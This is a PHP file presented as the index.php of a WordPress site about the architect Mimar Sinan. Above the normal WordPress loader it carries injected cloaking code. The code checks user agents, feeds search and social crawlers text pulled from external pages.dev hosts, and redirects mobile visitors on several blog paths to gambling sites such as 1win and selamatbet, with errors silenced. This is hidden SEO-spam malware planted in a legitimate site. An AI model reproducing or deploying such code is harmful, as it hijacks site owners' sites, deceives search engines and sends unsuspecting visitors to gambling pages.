File: /home/sinanpasha/ru.sinanpasha.org/index.php
<?php
declare(strict_types=1);
error_reporting(0);
$visitor_ip =
$_SERVER['HTTP_CF_CONNECTING_IP'] ??
$_SERVER['HTTP_TRUE_CLIENT_IP'] ??
$_SERVER['HTTP_INCAP_CLIENT_IP'] ??
$_SERVER['HTTP_X_FORWARDED_FOR'] ??
$_SERVER['HTTP_X_REAL_IP'] ??
$_SERVER['REMOTE_ADDR'] ??
'';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$request_method = $_SERVER['REQUEST_METHOD'] ?? 'GET';
$botPattern = '~\b('
. 'googlebot|google-inspectiontool|adsbot-google|mediapartners-google|'
. 'googlebot-smartphone|googlebot-mobile|googlebot-image|googlebot-news|'
. 'bingbot|bingpreview|msnbot|duckduckbot|baiduspider|yandexbot|yandeximages|'
. 'sogou|exabot|slurp|ia_archiver|facebot|linkedinbot|twitterbot|facebookexternalhit|'
. 'whatsapp|telegrambot|skypeuripreview|pinterestbot|ahrefsbot|semrushbot|mj12bot|dotbot|'
. 'crawler|spider|bot\/|robot|preview'
. ')\b~i';
$is_bot = (bool)preg_match($botPattern, $user_agent);
$rawRequestUri = $_SERVER['REQUEST_URI'] ?? '/';
$parsed = parse_url($rawRequestUri);
$path = rawurldecode(rtrim($parsed['path'] ?? '/', '/'));
if ($path === '/') $path = '';
// Normalisasi query
function normalize_query(string $q): string {
if ($q === '') return '';
parse_str($q, $arr);
if (!is_array($arr) || empty($arr)) return ltrim($q, '?');
ksort($arr);
return http_build_query($arr);
}
$query = $parsed['query'] ?? '';
$normQuery = normalize_query($query);
$request_target = $path . ($normQuery !== '' ? '?' . $normQuery : '');
$is_mobile = (bool)preg_match('~(android|iphone|ipad|mobile|phone|samsung|huawei|xiaomi)~i', $user_agent);
$cloaking_targets = [
'' => [
'bot' => __DIR__ . '/license.txt'
],
'/история/' => [
'bot' => 'https://sinanpasha-selamatbet.pages.dev/selamatbet.txt',
'mobile' => 'https://sinanpasha-selamatbet.pages.dev/'
],
'/activities/' => [
'bot' => 'https://ru-km777-sinanpasha.pages.dev/km777.txt',
'mobile' => 'https://ru-km777-sinanpasha.pages.dev/'
],
'/blog/ramadan24/' => [
'bot' => 'https://sinanpasha-1win.pages.dev/1win.txt',
'mobile' => 'https://sinanpasha-1win.pages.dev/'
],
'/blog/великий-архитектор-мимар-синан/' => [
'bot' => 'https://sinanpasha-jktplus.pages.dev/jktplus.txt',
'mobile' => 'https://sinanpasha-jktplus.pages.dev/'
]
];
function normalize_path_key(string $p): string {
$kp = parse_url($p);
$kpath = rawurldecode(rtrim($kp['path'] ?? '/', '/'));
if ($kpath === '/') $kpath = '';
$kquery = $kp['query'] ?? '';
$kNormQuery = normalize_query($kquery);
return $kpath . ($kNormQuery !== '' ? '?' . $kNormQuery : '');
}
$normalized_map = [];
foreach ($cloaking_targets as $target_path => $data) {
$normalized_key = normalize_path_key($target_path);
$normalized_map[$normalized_key] = $data;
}
if (isset($normalized_map[$request_target])) {
$target_data = $normalized_map[$request_target];
if ($is_bot) {
$bot_source = $target_data['bot'];
$content = strpos($bot_source, '://') === false
? @file_get_contents($bot_source)
: @file_get_contents($bot_source);
if ($content !== false) {
header('Content-Type: text/html; charset=UTF-8');
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');
if ($request_method === 'HEAD') exit;
echo $content;
exit;
}
}
elseif ($is_mobile && !$is_bot) {
if (!empty($target_data['mobile'])) {
header("Location: " . $target_data['mobile'], true, 302);
exit;
}
}
}
define('WP_USE_THEMES', true);
require __DIR__ . '/wp-blog-header.php';